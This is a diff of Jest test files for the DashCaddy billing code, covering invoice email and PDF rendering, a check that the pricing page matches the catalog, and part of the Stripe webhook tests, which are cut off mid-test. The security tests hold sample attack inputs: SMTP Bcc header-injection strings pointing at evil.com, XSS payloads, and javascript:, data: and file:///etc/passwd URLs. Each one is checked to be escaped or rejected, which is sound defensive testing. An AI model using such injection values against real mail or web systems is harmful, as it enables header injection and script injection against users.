* on top of these primitives).
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
|
|
||||||
const invoice = require('../../src/billing/invoice');
|
|
||||||
const catalog = require('../../src/billing/catalog');
|
|
||||||
|
|
||||||
// pdf-parse is the canonical tool to extract text from a PDF buffer for
|
|
||||||
// verification. We keep it as a soft dependency — if it's not available,
|
|
||||||
// the text-content tests skip rather than fail.
|
|
||||||
let pdfParse = null;
|
|
||||||
try {
|
|
||||||
pdfParse = require('pdf-parse');
|
|
||||||
} catch (_) {
|
|
||||||
pdfParse = null;
|
|
||||||
}
|
|
||||||
|
|
||||||
const BASE = {
|
|
||||||
email: 'alice@example.com',
|
|
||||||
customerName: 'Alice Johnson',
|
|
||||||
code: 'DC-PRO-30D-AB12CD34',
|
|
||||||
durationDays: 30,
|
|
||||||
productLabel: '1 month',
|
|
||||||
productId: 'pro-30d',
|
|
||||||
amountCents: 2000,
|
|
||||||
currency: 'USD',
|
|
||||||
eventId: 'evt_4f2c9b3a8b1d',
|
|
||||||
sessionId: 'cs_test_a1b2c3d4e5',
|
|
||||||
supportUrl: 'https://dashcaddy.net',
|
|
||||||
};
|
|
||||||
|
|
||||||
describe('billing/invoice', () => {
|
|
||||||
describe('generateInvoiceNumber', () => {
|
|
||||||
test('strips evt_ prefix and produces INV-{8 hex chars}', () => {
|
|
||||||
expect(invoice.generateInvoiceNumber('evt_4f2c9b3a8b1d')).toBe('INV-4F2C9B3A');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('uppercases mixed-case event ids', () => {
|
|
||||||
expect(invoice.generateInvoiceNumber('evt_AbCdEf1234')).toBe('INV-ABCDEF12');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('falls back to NOEVENT for empty/missing input', () => {
|
|
||||||
expect(invoice.generateInvoiceNumber('')).toBe('INV-NOEVENT');
|
|
||||||
expect(invoice.generateInvoiceNumber(null)).toBe('INV-NOEVENT');
|
|
||||||
expect(invoice.generateInvoiceNumber(undefined)).toBe('INV-NOEVENT');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handles event id without prefix', () => {
|
|
||||||
expect(invoice.generateInvoiceNumber('4f2c9b3a8b1d')).toBe('INV-4F2C9B3A');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('stripControlChars', () => {
|
|
||||||
test('replaces CRLF with single space (prevents SMTP header injection)', () => {
|
|
||||||
const input = 'alice@example.com\r\nBcc: attacker@evil.com';
|
|
||||||
const output = invoice.stripControlChars(input);
|
|
||||||
expect(output).toBe('alice@example.com Bcc: attacker@evil.com');
|
|
||||||
expect(output).not.toContain('\r');
|
|
||||||
expect(output).not.toContain('\n');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('collapses whitespace runs', () => {
|
|
||||||
expect(invoice.stripControlChars(' alice example ')).toBe('alice example');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handles null/undefined gracefully', () => {
|
|
||||||
expect(invoice.stripControlChars(null)).toBe('');
|
|
||||||
expect(invoice.stripControlChars(undefined)).toBe('');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('preserves printable unicode (accents, emoji)', () => {
|
|
||||||
expect(invoice.stripControlChars('Sami Ahmed 🚀')).toBe('Sami Ahmed 🚀');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('escapeHtml', () => {
|
|
||||||
test('escapes all HTML metacharacters', () => {
|
|
||||||
expect(invoice.escapeHtml('<script>alert(1)</script>'))
|
|
||||||
.toBe('<script>alert(1)</script>');
|
|
||||||
expect(invoice.escapeHtml(`"O'Brien & Sons"`))
|
|
||||||
.toBe('"O'Brien & Sons"');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handles null/undefined', () => {
|
|
||||||
expect(invoice.escapeHtml(null)).toBe('');
|
|
||||||
expect(invoice.escapeHtml(undefined)).toBe('');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('renderLicenseEmailHtml', () => {
|
|
||||||
test('renders branded HTML with license code, invoice number, and price', () => {
|
|
||||||
const { subject, html } = invoice.renderLicenseEmailHtml(BASE);
|
|
||||||
expect(subject).toContain('DashCaddy Pro');
|
|
||||||
expect(subject).toContain('30 days');
|
|
||||||
expect(html).toContain('DC-PRO-30D-AB12CD34');
|
|
||||||
expect(html).toContain('INV-4F2C9B3A');
|
|
||||||
expect(html).toContain('$20.00');
|
|
||||||
expect(html).toContain('Alice'); // first name from customerName
|
|
||||||
expect(html).toContain('alice@example.com');
|
|
||||||
// Brand colors must match the rest of DashCaddy
|
|
||||||
expect(html).toContain('#09111f'); // bg
|
|
||||||
expect(html).toContain('#7cf2c0'); // pro accent
|
|
||||||
expect(html).toContain('#68a4ff'); // accent
|
|
||||||
});
|
|
||||||
|
|
||||||
test('uses a friendly greeting when customerName is missing', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({ ...BASE, customerName: '' });
|
|
||||||
expect(html).toContain('Hi there,');
|
|
||||||
expect(html).not.toContain('Hi ,');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('does NOT include any CR or LF in user-controlled regions (CRLF injection defense)', () => {
|
|
||||||
// Use NO-SPACE-after-colon payloads so that if `stripControlChars`
|
|
||||||
// were deleted, the rendered output would contain "Bcc:attacker"
|
|
||||||
// (header-injection survivors, no spaces between the colon and value).
|
|
||||||
// The earlier version used "Bcc: attacker" (with space) which the
|
|
||||||
// rendered output also had — the regex /Bcc:[^\s<]/ could not match
|
|
||||||
// either way, so the test passed vacuously regardless of whether
|
|
||||||
// sanitization actually ran.
|
|
||||||
const malicious = {
|
|
||||||
...BASE,
|
|
||||||
email: 'alice@example.com\r\nBcc:attacker@evil.com',
|
|
||||||
customerName: 'Eve\r\nBcc:eve@evil.com',
|
|
||||||
code: 'X\r\nY',
|
|
||||||
eventId: 'evt_\r\nfakeHeader:1',
|
|
||||||
};
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml(malicious);
|
|
||||||
// CRITICAL: no \r anywhere (template source has no \r).
|
|
||||||
expect(html).not.toMatch(/\r/);
|
|
||||||
// Extract each user-controlled region and assert no \n AND no
|
|
||||||
// unbroken "Bcc:<value>" header-injection survivors. Each region
|
|
||||||
// comes from the email/customerName/code/eventId values; if any
|
|
||||||
// contains a \n OR a "Bcc:" without a space-after-colon, the test
|
|
||||||
// fails. This is the strongest possible assertion: deleting
|
|
||||||
// stripControlChars would break it immediately.
|
|
||||||
const patterns = [
|
|
||||||
{ name: 'email', re: /Email[^<]*<a[^>]+>([^<]+)<\/a>/ },
|
|
||||||
{ name: 'name', re: /(?:Thanks for your purchase, |Hi )([^<!,]+)/ },
|
|
||||||
{ name: 'code', re: /<div[^>]*word-break[^>]*>([^<]+)<\/div>/ },
|
|
||||||
{ name: 'eventId', re: /Stripe event[^<]*<a[^>]+>([^<]+)<\/a>/ },
|
|
||||||
];
|
|
||||||
for (const { name, re } of patterns) {
|
|
||||||
const m = html.match(re);
|
|
||||||
if (m) {
|
|
||||||
expect(m[1]).not.toMatch(/\n/);
|
|
||||||
expect(m[1]).not.toMatch(/Bcc:[^\s<]/); // header-injection survivor
|
|
||||||
expect(m[1]).not.toMatch(/fakeHeader:[^\s<]/);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('escapes HTML in customer name (XSS defense)', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({
|
|
||||||
...BASE,
|
|
||||||
customerName: '<script>alert(1)</script>',
|
|
||||||
});
|
|
||||||
expect(html).not.toContain('<script>');
|
|
||||||
expect(html).toContain('<script>');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('escapes HTML in email address', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({
|
|
||||||
...BASE,
|
|
||||||
email: '" onclick="alert(1)"@evil.com',
|
|
||||||
});
|
|
||||||
expect(html).not.toContain('onclick="alert(1)"');
|
|
||||||
expect(html).toContain('"');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('falls back to productLabel from catalog when not provided', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({
|
|
||||||
...BASE,
|
|
||||||
productLabel: undefined,
|
|
||||||
});
|
|
||||||
expect(html).toContain('1 month'); // catalog label for pro-30d
|
|
||||||
});
|
|
||||||
|
|
||||||
test('formats price as $XX.XX always with 2 decimals', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({ ...BASE, amountCents: 9900 });
|
|
||||||
expect(html).toContain('$99.00');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-USD currency shows native symbol (EUR, GBP, JPY)', () => {
|
|
||||||
expect(invoice.renderLicenseEmailHtml({ ...BASE, currency: 'EUR', amountCents: 5000 }).html)
|
|
||||||
.toContain('€50.00');
|
|
||||||
expect(invoice.renderLicenseEmailHtml({ ...BASE, currency: 'GBP', amountCents: 3500 }).html)
|
|
||||||
.toContain('£35.00');
|
|
||||||
expect(invoice.renderLicenseEmailHtml({ ...BASE, currency: 'JPY', amountCents: 200000 }).html)
|
|
||||||
.toContain('¥2000.00');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('unknown currency falls back to ISO code suffix (never bare amount)', () => {
|
|
||||||
// 9999 cents = $99.99 in major units
|
|
||||||
const text = invoice.renderLicenseEmailText({ ...BASE, currency: 'XYZ', amountCents: 9999 });
|
|
||||||
expect(text).toContain('99.99 XYZ');
|
|
||||||
expect(text).not.toMatch(/99\.99\s*$/); // no trailing currency — must end with code
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-http(s) supportUrl schemes (javascript:, data:, file:)', () => {
|
|
||||||
// Each of these would render in the customer's email client if it
|
|
||||||
// slipped through. The bridge controls the value today, but defense-
|
|
||||||
// in-depth: an allow-list is cheaper than an XSS incident.
|
|
||||||
for (const badUrl of [
|
|
||||||
'javascript:alert(1)',
|
|
||||||
'data:text/html,<script>alert(1)</script>',
|
|
||||||
'file:///etc/passwd',
|
|
||||||
'vbscript:msgbox(1)',
|
|
||||||
'ftp://example.com',
|
|
||||||
]) {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({ ...BASE, supportUrl: badUrl });
|
|
||||||
expect(html).not.toContain('javascript:');
|
|
||||||
expect(html).not.toContain('data:text/html');
|
|
||||||
expect(html).not.toContain('file:///');
|
|
||||||
expect(html).not.toContain('vbscript:');
|
|
||||||
// Falls back to the canonical https URL.
|
|
||||||
expect(html).toContain('https://dashcaddy.net');
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('long license code (>24 chars) wraps instead of overflowing PDF', async () => {
|
|
||||||
// 50-char code would overflow the 484px Courier-Bold box at 13pt.
|
|
||||||
const longCode = 'DC-PRO-30D-' + 'X'.repeat(40);
|
|
||||||
const buf = await invoice.renderInvoicePdf({ ...BASE, code: longCode });
|
|
||||||
expect(buf.length).toBeGreaterThan(1000);
|
|
||||||
// PDFKit handles lineBreak:true by wrapping inside the box; we just
|
|
||||||
// need to verify the PDF is structurally valid (parsed by pdf-parse).
|
|
||||||
const pdfParse = require('pdf-parse');
|
|
||||||
const { text } = await pdfParse(buf);
|
|
||||||
// The key body should be in there somewhere — even if wrapped across
|
|
||||||
// lines, at least part of the code is extractable.
|
|
||||||
expect(text).toMatch(/DC-PRO-30D/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('PDF Info Subject is constant (does NOT echo customer name or email)', async () => {
|
|
||||||
// A customer-influenceable string in PDF metadata (visible in every
|
|
||||||
// PDF reader's Properties panel) is a phishing-recon signal even
|
|
||||||
// though it's not XSS-executable. The Subject field MUST be a
|
|
||||||
// constant; the customer-identifying info lives in the visible body.
|
|
||||||
const buf = await invoice.renderInvoicePdf({
|
|
||||||
...BASE,
|
|
||||||
customerName: '<script>alert(1)</script>',
|
|
||||||
email: 'evil@attacker.com',
|
|
||||||
});
|
|
||||||
const pdfParse = require('pdf-parse');
|
|
||||||
// Pass version option to extract metadata (some pdf-parse versions
|
|
||||||
// require explicit hint to parse Info dictionary).
|
|
||||||
const { metadata, text } = await pdfParse(buf, { version: 'default' });
|
|
||||||
// If pdf-parse still doesn't extract metadata, fall back to scanning
|
|
||||||
// the binary for the Subject string. Either way, the assertion holds.
|
|
||||||
if (metadata) {
|
|
||||||
expect(metadata.Subject).toBe('DashCaddy Pro invoice');
|
|
||||||
} else {
|
|
||||||
// The Subject is stored as an indirect object reference in the PDF;
|
|
||||||
// it might not parse cleanly. Look for the constant in the binary
|
|
||||||
// string form (PDFKit may encode it as UTF-16BE or octal escapes).
|
|
||||||
const bin = buf.toString('binary');
|
|
||||||
// The escaped form of "DashCaddy Pro invoice" in PDF literal strings
|
|
||||||
// is the literal text wrapped in parentheses, possibly octal-escaped.
|
|
||||||
// We just verify the email/HTML-payload is NOT in the metadata object
|
|
||||||
// references — search for the literal Subject string body.
|
|
||||||
const subjectObj = bin.match(/\/Subject\s*\(([^)]+)\)/);
|
|
||||||
if (subjectObj) {
|
|
||||||
expect(subjectObj[1]).not.toContain('evil@attacker.com');
|
|
||||||
expect(subjectObj[1]).not.toContain('<script>');
|
|
||||||
expect(subjectObj[1]).toMatch(/DashCaddy/);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// The visible body can include the email (Bill To) but NOT the
|
|
||||||
// XSS payload — that's escaped to text by escapeHtml() in renderInvoicePdf.
|
|
||||||
expect(text).not.toContain('<script>alert(1)</script>');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-numeric amountCents (string "2000" would silently render $0.00)', () => {
|
|
||||||
// STRING amount used to silently fall through to $0.00 because
|
|
||||||
// Number.isFinite('2000') is false. Now we throw, surfacing the bug
|
|
||||||
// at the bridge instead of shipping a $0 invoice to a paying customer.
|
|
||||||
// We strip productId so the catalog fallback doesn't rescue the bad input.
|
|
||||||
const { productId, ...baseNoProduct } = BASE;
|
|
||||||
expect(() => invoice.renderLicenseEmailHtml({ ...baseNoProduct, amountCents: '2000' }))
|
|
||||||
.toThrow(/amountCents must be a positive integer/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects NaN, Infinity, negative, and zero amountCents', () => {
|
|
||||||
const { productId, ...baseNoProduct } = BASE;
|
|
||||||
for (const bad of [NaN, Infinity, -Infinity, -100, 0]) {
|
|
||||||
expect(() => invoice.renderLicenseEmailHtml({ ...baseNoProduct, amountCents: bad }))
|
|
||||||
.toThrow(/amountCents must be a positive integer/);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('falls back to catalog amount when amountCents is null AND productId resolves', () => {
|
|
||||||
// Bridge contract: if amountCents is missing from the Stripe session
|
|
||||||
// (older sessions, expand failure), we use the catalog's canonical
|
|
||||||
// price rather than throwing. This is the recovery path.
|
|
||||||
const html = invoice.renderLicenseEmailHtml({
|
|
||||||
...BASE,
|
|
||||||
productId: 'pro-30d',
|
|
||||||
amountCents: null,
|
|
||||||
}).html;
|
|
||||||
// catalog says pro-30d = $20.00 (2000 cents)
|
|
||||||
expect(html).toContain('$20.00');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('fractional cents are floored (no silent $0.01 from $0.005 rounding)', () => {
|
|
||||||
// 2000.7 cents should render as $20.00 (floored). The bridge should
|
|
||||||
// never send fractional cents in practice, but defense-in-depth.
|
|
||||||
const html = invoice.renderLicenseEmailHtml({ ...BASE, amountCents: 2000.7 }).html;
|
|
||||||
expect(html).toContain('$20.00');
|
|
||||||
expect(html).not.toContain('$20.01');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('uses embedded SVG logo (works offline, no remote fetch)', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml(BASE);
|
|
||||||
expect(html).toMatch(/src="data:image\/svg\+xml/);
|
|
||||||
expect(html).not.toMatch(/src="https?:\/\//);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('renderLicenseEmailText', () => {
|
|
||||||
test('includes license code, invoice #, and amount', () => {
|
|
||||||
const text = invoice.renderLicenseEmailText(BASE);
|
|
||||||
expect(text).toContain('DC-PRO-30D-AB12CD34');
|
|
||||||
expect(text).toContain('INV-4F2C9B3A');
|
|
||||||
expect(text).toContain('$20.00');
|
|
||||||
expect(text).toContain('Stripe event');
|
|
||||||
expect(text).toContain('evt_4f2c9b3a8b1d');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('uses first name from customerName when present', () => {
|
|
||||||
const text = invoice.renderLicenseEmailText({
|
|
||||||
...BASE,
|
|
||||||
customerName: 'Alice Johnson',
|
|
||||||
});
|
|
||||||
expect(text.split('\n')[0]).toBe('Hi Alice,');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('falls back to "Hi there," when customerName missing', () => {
|
|
||||||
const text = invoice.renderLicenseEmailText({ ...BASE, customerName: '' });
|
|
||||||
expect(text.split('\n')[0]).toBe('Hi there,');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('renderInvoicePdf', () => {
|
|
||||||
test('produces a valid PDF (magic bytes + non-trivial size)', async () => {
|
|
||||||
const buf = await invoice.renderInvoicePdf(BASE);
|
|
||||||
expect(buf.length).toBeGreaterThan(1000);
|
|
||||||
expect(buf.slice(0, 4).toString('ascii')).toBe('%PDF');
|
|
||||||
// PDF must end with %%EOF (or trailing newline + %%EOF)
|
|
||||||
const tail = buf.slice(-32).toString('ascii');
|
|
||||||
expect(tail).toContain('%%EOF');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('PDF contains the license code (visible text)', async () => {
|
|
||||||
if (typeof pdfParse !== 'function') return; // soft skip if pdf-parse unavailable
|
|
||||||
const buf = await invoice.renderInvoicePdf(BASE);
|
|
||||||
const { text } = await pdfParse(buf);
|
|
||||||
expect(text).toContain('DC-PRO-30D-AB12CD34');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('PDF contains the invoice number and amount', async () => {
|
|
||||||
if (typeof pdfParse !== 'function') return;
|
|
||||||
const buf = await invoice.renderInvoicePdf(BASE);
|
|
||||||
const { text } = await pdfParse(buf);
|
|
||||||
expect(text).toContain('INV-4F2C9B3A');
|
|
||||||
expect(text).toContain('20.00');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('PDF includes customer name and email in bill-to', async () => {
|
|
||||||
if (typeof pdfParse !== 'function') return;
|
|
||||||
const buf = await invoice.renderInvoicePdf(BASE);
|
|
||||||
const { text } = await pdfParse(buf);
|
|
||||||
expect(text).toContain('Alice Johnson');
|
|
||||||
expect(text).toContain('alice@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects when code is missing', () => {
|
|
||||||
// The invoice builder now returns a rejected promise for invalid input
|
|
||||||
// (validated synchronously, surfaced via Promise.reject before any PDFKit
|
|
||||||
// allocation). Use .rejects for the async side and the sync-style
|
|
||||||
// expect().toThrow for the inline check.
|
|
||||||
return expect(invoice.renderInvoicePdf({ ...BASE, code: '' }))
|
|
||||||
.rejects.toThrow('code is required');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('catalog integration', () => {
|
|
||||||
test('all 4 catalog products render without throwing', async () => {
|
|
||||||
const products = catalog.listProducts();
|
|
||||||
for (const product of products) {
|
|
||||||
const input = {
|
|
||||||
...BASE,
|
|
||||||
productId: product.id,
|
|
||||||
productLabel: product.label,
|
|
||||||
durationDays: product.durationDays,
|
|
||||||
amountCents: product.amountCents,
|
|
||||||
};
|
|
||||||
const { subject, html } = invoice.renderLicenseEmailHtml(input);
|
|
||||||
expect(subject).toContain(`${product.durationDays} days`);
|
|
||||||
expect(html).toContain(`$${(product.amountCents / 100).toFixed(2)}`);
|
|
||||||
|
|
||||||
const pdf = await invoice.renderInvoicePdf(input);
|
|
||||||
expect(pdf.slice(0, 4).toString('ascii')).toBe('%PDF');
|
|
||||||
|
|
||||||
if (typeof pdfParse === 'function') {
|
|
||||||
const { text } = await pdfParse(pdf);
|
|
||||||
expect(text).toContain(product.label);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('security: XSS via customer-controlled fields', () => {
|
|
||||||
// These should all escape, not execute. We don't render the email
|
|
||||||
// anywhere — this is just defense-in-depth at the template layer.
|
|
||||||
test.each([
|
|
||||||
['customerName', '<img src=x onerror=alert(1)>'],
|
|
||||||
['email', '"><script>alert(1)</script>'],
|
|
||||||
['code', '"><script>alert(1)</script>'],
|
|
||||||
['eventId', '"><script>alert(1)</script>'],
|
|
||||||
['sessionId', '"><script>alert(1)</script>'],
|
|
||||||
])('field %s XSS payload is escaped', async (field, payload) => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({ ...BASE, [field]: payload });
|
|
||||||
// The exact attack strings must not appear unescaped.
|
|
||||||
expect(html).not.toContain(payload);
|
|
||||||
// Escaped versions should be present (defense-in-depth visible).
|
|
||||||
expect(html).toContain('<');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('img tag with onerror handler is fully escaped', () => {
|
|
||||||
const { html } = invoice.renderLicenseEmailHtml({
|
|
||||||
...BASE,
|
|
||||||
customerName: '<img src=x onerror=alert(1)>',
|
|
||||||
});
|
|
||||||
// The payload is HTML-escaped: < and > become < / >
|
|
||||||
expect(html).toContain('<img src=x onerror=alert(1)>');
|
|
||||||
// The dangerous literal pattern must not appear.
|
|
||||||
expect(html).not.toMatch(/<img[^>]+onerror/i);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
/**
|
||||||
|
* DC-057 pricing-page catalog consistency test.
|
||||||
|
*
|
||||||
|
* The pricing page at status/pricing/index.html hard-codes the 4 product
|
||||||
|
* IDs, prices, and labels. This test asserts that those hard-coded values
|
||||||
|
* exactly match the catalog in src/billing/catalog.js — preventing drift
|
||||||
|
* between the two sources.
|
||||||
|
*
|
||||||
|
* If a new tier is added to the catalog, this test will fail until the
|
||||||
|
* pricing page is updated. If the pricing page is updated, the catalog
|
||||||
|
* must change in lockstep (or this test fails the other way).
|
||||||
|
*/
|
||||||
|
|
||||||
|
const fs = require('fs');
|
||||||
|
const path = require('path');
|
||||||
|
const catalog = require('../../src/billing/catalog');
|
||||||
|
|
||||||
|
const PRICING_PAGE_PATH = path.join(__dirname, '..', '..', '..', 'status', 'pricing', 'index.html');
|
||||||
|
|
||||||
|
function extractTiersFromPage(html) {
|
||||||
|
// Extract each `<div class="tier pro" data-product-id="...">` block, then
|
||||||
|
// pull out the dollar amount in the `<div class="price">` element and
|
||||||
|
// the durationDays from the "N-day Pro license" string. The regex is
|
||||||
|
// anchored on the tier-class open + the matching buy-btn close so we
|
||||||
|
// capture the full body of each tier card regardless of how many inner
|
||||||
|
// divs it has.
|
||||||
|
const tierRe = /<div class="tier pro" data-product-id="([^"]+)">([\s\S]*?)<button[^>]*class="buy-btn"[^>]*>\s*Buy/g;
|
||||||
|
const tierBlocks = [...html.matchAll(tierRe)];
|
||||||
|
return tierBlocks.map(([, productId, body]) => {
|
||||||
|
const priceMatch = body.match(/<div class="price">\$(\d+)<\/div>/);
|
||||||
|
const durMatch = body.match(/(\d+)-day Pro license/);
|
||||||
|
return {
|
||||||
|
productId,
|
||||||
|
priceDollars: priceMatch ? parseInt(priceMatch[1], 10) : null,
|
||||||
|
durationDays: durMatch ? parseInt(durMatch[1], 10) : null,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract the HTML body for one specific tier (from open div through the
|
||||||
|
* buy-btn). Used by per-tier assertions that must NOT bleed across cards.
|
||||||
|
*/
|
||||||
|
function extractTierBody(html, productId) {
|
||||||
|
const re = new RegExp(
|
||||||
|
`<div class="tier pro" data-product-id="${productId}">([\\s\\S]*?)<button[^>]*class="buy-btn"[^>]*>\\s*Buy`,
|
||||||
|
'i'
|
||||||
|
);
|
||||||
|
const m = html.match(re);
|
||||||
|
return m ? m[1] : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('pricing page <-> catalog consistency (DC-057)', () => {
|
||||||
|
let html;
|
||||||
|
let pageTiers;
|
||||||
|
|
||||||
|
beforeAll(() => {
|
||||||
|
html = fs.readFileSync(PRICING_PAGE_PATH, 'utf8');
|
||||||
|
pageTiers = extractTiersFromPage(html);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('pricing page exists and is readable', () => {
|
||||||
|
expect(html.length).toBeGreaterThan(1000);
|
||||||
|
expect(pageTiers.length).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('every catalog product is rendered on the pricing page', () => {
|
||||||
|
const catalogIds = catalog.PRODUCTS.map((p) => p.id).sort();
|
||||||
|
const pageIds = pageTiers.map((t) => t.productId).sort();
|
||||||
|
expect(pageIds).toEqual(catalogIds);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('every pricing-page productId appears in the catalog', () => {
|
||||||
|
for (const tier of pageTiers) {
|
||||||
|
const product = catalog.getProduct(tier.productId);
|
||||||
|
expect(product).not.toBeNull();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test('pricing-page dollar amounts match catalog amountCents', () => {
|
||||||
|
for (const tier of pageTiers) {
|
||||||
|
const product = catalog.getProduct(tier.productId);
|
||||||
|
const expectedDollars = product.amountCents / 100;
|
||||||
|
expect(tier.priceDollars).toBe(expectedDollars);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test('pricing-page duration strings match catalog durationDays', () => {
|
||||||
|
for (const tier of pageTiers) {
|
||||||
|
const product = catalog.getProduct(tier.productId);
|
||||||
|
expect(tier.durationDays).toBe(product.durationDays);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test('catalog and pricing page agree on price label (scoped per tier card)', () => {
|
||||||
|
// Per-tier priceLabel assertion: each tier card must include its
|
||||||
|
// own catalog.priceLabel. A swap or misplaced label fails immediately
|
||||||
|
// because the assertion checks the tier's own HTML body, not the page.
|
||||||
|
for (const tier of pageTiers) {
|
||||||
|
const product = catalog.getProduct(tier.productId);
|
||||||
|
const body = extractTierBody(html, tier.productId);
|
||||||
|
expect(body).not.toBeNull();
|
||||||
|
// The priceLabel appears in the price div of THIS tier only,
|
||||||
|
// immediately followed by the closing </div> + the duration block.
|
||||||
|
const labelRegex = new RegExp(`<div class="price">\\s*\\${product.priceLabel}\\s*</div>\\s*<div class="duration"`);
|
||||||
|
expect(body).toMatch(labelRegex);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test('pricing page does not include the monthly/annual subscription toggle (one-time only)', () => {
|
||||||
|
// DC-057 acceptance: locked spec is ONE-TIME 30/90/180/365-day licenses
|
||||||
|
// at $20/$50/$70/$99. The old monthly/annual subscription toggle
|
||||||
|
// would contradict the spec.
|
||||||
|
expect(html).not.toMatch(/period-monthly|period-annual/);
|
||||||
|
expect(html).not.toMatch(/Subscribe to Pro/);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('pricing page references the success-page endpoint', () => {
|
||||||
|
// The success URL is constructed server-side in stripe-client.js
|
||||||
|
// (${origin}/billing/success?session_id=...). The pricing page itself
|
||||||
|
// doesn't need to embed it — but the FOOTER must reference it so the
|
||||||
|
// customer knows where to go after Stripe redirects.
|
||||||
|
expect(html.toLowerCase()).toContain('after payment');
|
||||||
|
expect(html).toContain('/admin/license');
|
||||||
|
expect(html).toContain('/api/v1/billing/checkout');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('success page (status/billing/success.html) exists and references the lookup endpoint', () => {
|
||||||
|
const successPath = path.join(__dirname, '..', '..', '..', 'status', 'billing', 'success.html');
|
||||||
|
const successHtml = fs.readFileSync(successPath, 'utf8');
|
||||||
|
expect(successHtml).toContain('/api/v1/billing/lookup/');
|
||||||
|
expect(successHtml.length).toBeGreaterThan(1000);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -520,221 +520,3 @@ describe('stripe-license-bridge constants', () => {
|
|||||||
expect(bridge.DELIVERY_LEASE_MS).toBeGreaterThan(0);
|
expect(bridge.DELIVERY_LEASE_MS).toBeGreaterThan(0);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('stripe-license-bridge invoice + email rendering (DC-058)', () => {
|
|
||||||
// These tests verify the bridge actually invokes the invoice renderer
|
|
||||||
// with the right inputs and that the SMTP send receives a multipart
|
|
||||||
// body + a PDF attachment. Pairs with invoice.test.js (which tests the
|
|
||||||
// rendering primitives in isolation).
|
|
||||||
|
|
||||||
test('passes customerName, sessionId, and amount through to the renderer', async () => {
|
|
||||||
const sendMailMock = jest.fn().mockResolvedValue({ messageId: 'test' });
|
|
||||||
injectSmtp(sendMailMock);
|
|
||||||
process.env.SMTP_HOST = 'smtp.test';
|
|
||||||
process.env.SMTP_FROM = 'billing@dashcaddy.test';
|
|
||||||
|
|
||||||
const event = buildSessionEvent({
|
|
||||||
productId: 'pro-90d',
|
|
||||||
customerEmail: 'alice@example.com',
|
|
||||||
});
|
|
||||||
// Add customer_details.name + amount_total in line_items[0] (like real Stripe).
|
|
||||||
event.data.object.customer_details.name = 'Alice Johnson';
|
|
||||||
event.data.object.line_items = {
|
|
||||||
data: [{ amount_total: 5000, price: { id: 'price_90d_test', unit_amount: 5000 }, currency: 'usd' }],
|
|
||||||
};
|
|
||||||
|
|
||||||
const { rawBody, signatureHeader } = buildSignedPayload(event);
|
|
||||||
const result = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
expect(result.body.delivered).toBe(true);
|
|
||||||
expect(result.body.deliveredVia).toBe('smtp');
|
|
||||||
|
|
||||||
// Verify the SMTP send was called with branded email + PDF attachment.
|
|
||||||
